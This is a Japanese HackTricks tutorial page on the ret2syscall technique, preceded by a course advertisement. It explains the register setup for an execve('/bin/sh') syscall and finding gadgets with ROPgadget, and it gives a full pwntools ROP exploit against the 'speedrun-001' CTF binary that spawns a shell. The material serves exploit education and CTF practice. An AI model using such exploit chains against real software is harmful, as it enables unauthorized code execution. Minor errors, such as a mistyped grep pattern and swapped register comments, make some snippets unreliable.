Ret2syscall

ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)

HackTricksをサポートする他の方法:

基本情報

これはRet2libに似ていますが、この場合はライブラリから関数を呼び出すのではなく、sys_execve システムコールを呼び出して /bin/sh を実行するための引数を用意します。このテクニックは通常、静的にコンパイルされたバイナリで実行され、多くのガジェットとシステムコール命令がある可能性があります。

システムコールを呼び出すためには、次の構成が必要です:

  • rax: 59 sys_execve を指定

  • rdi: "/bin/sh" へのポインタを指定して実行するファイルを指定

  • rsi: 0 引数が渡されていないことを指定

  • rdx: 0 環境変数が渡されていないことを指定

つまり、文字列 /bin/sh をどこかに書き込んでから syscall を実行する必要があります(スタックを制御するために必要なパディングに注意してください)。そのためには、既知の領域に /bin/sh を書き込むためのガジェットが必要です。

呼び出すのに興味深い別のシステムコールは mprotect で、これにより攻撃者が メモリ内のページの権限を変更 できます。これは ret2shellcode と組み合わせることができます。

レジスタガジェット

まず、これらのレジスタを制御する方法を見つけましょう:

ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret"
0x0000000000415664 : pop rax ; ret
0x0000000000400686 : pop rdi ; ret
0x00000000004101f3 : pop rsi ; ret
0x00000000004498b5 : pop rdx ; ret

これらのアドレスを使用すると、スタックにコンテンツを書き込んでレジスタにロードすることができます

文字列の書き込み

書き込み可能なメモリ

まず、メモリ内の書き込み可能な場所を見つける必要があります。

gef> vmmap
[ Legend:  Code | Heap | Stack ]
Start              End                Offset             Perm Path
0x0000000000400000 0x00000000004b6000 0x0000000000000000 r-x /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
0x00000000006b6000 0x00000000006bc000 0x00000000000b6000 rw- /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
0x00000000006bc000 0x00000000006e0000 0x0000000000000000 rw- [heap]

メモリに文字列を書き込む

次に、このアドレスに任意の内容を書き込む方法を見つける必要があります。

ROPgadget --binary speedrun-001 | grep " : mov qword ptr \["
mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx

ROPチェーンの自動化

次のコマンドは、write-what-whereガジェットとシスコール命令が存在する場合に、静的バイナリを指定して完全なsys_execve ROPチェーンを作成します:

ROPgadget --binary vuln --ropchain

32 ビット

'''
Lets write "/bin/sh" to 0x6b6000

pop rdx, 0x2f62696e2f736800
pop rax, 0x6b6000
mov qword ptr [rax], rdx
'''

rop += popRdx           # place value into EAX
rop += "/bin"           # 4 bytes at a time
rop += popRax           # place value into edx
rop += p32(0x6b6000)    # Writable memory
rop += writeGadget   #Address to: mov qword ptr [rax], rdx

rop += popRdx
rop += "//sh"
rop += popRax
rop += p32(0x6b6000 + 4)
rop += writeGadget

64 ビット

'''
Lets write "/bin/sh" to 0x6b6000

pop rdx, 0x2f62696e2f736800
pop rax, 0x6b6000
mov qword ptr [rax], rdx
'''
rop = ''
rop += popRdx
rop += "/bin/sh\x00" # The string "/bin/sh" in hex with a null byte at the end
rop += popRax
rop += p64(0x6b6000) # Writable memory
rop += writeGadget #Address to: mov qword ptr [rax], rdx

ガジェットの不足

ガジェットが不足している場合、例えばメモリに/bin/shを書き込むためのガジェットが不足している場合、SROPテクニックを使用してスタックからすべてのレジスタ値(RIPおよびパラメータレジスタを含む)を制御することができます:

pageSROP - Sigreturn-Oriented Programming

攻撃例

from pwn import *

target = process('./speedrun-001')
#gdb.attach(target, gdbscript = 'b *0x400bad')

# Establish our ROP Gadgets
popRax = p64(0x415664)
popRdi = p64(0x400686)
popRsi = p64(0x4101f3)
popRdx = p64(0x4498b5)

# 0x000000000048d251 : mov qword ptr [rax], rdx ; ret
writeGadget = p64(0x48d251)

# Our syscall gadget
syscall = p64(0x40129c)

'''
Here is the assembly equivalent for these blocks
write "/bin/sh" to 0x6b6000

pop rdx, 0x2f62696e2f736800
pop rax, 0x6b6000
mov qword ptr [rax], rdx
'''
rop = ''
rop += popRdx
rop += "/bin/sh\x00" # The string "/bin/sh" in hex with a null byte at the end
rop += popRax
rop += p64(0x6b6000)
rop += writeGadget

'''
Prep the four registers with their arguments, and make the syscall

pop rax, 0x3b
pop rdi, 0x6b6000
pop rsi, 0x0
pop rdx, 0x0

syscall
'''

rop += popRax
rop += p64(0x3b)

rop += popRdi
rop += p64(0x6b6000)

rop += popRsi
rop += p64(0)
rop += popRdx
rop += p64(0)

rop += syscall


# Add the padding to the saved return address
payload = "0"*0x408 + rop

# Send the payload, drop to an interactive shell to use our new shell
target.sendline(payload)

target.interactive()

その他の例と参考文献

Last updated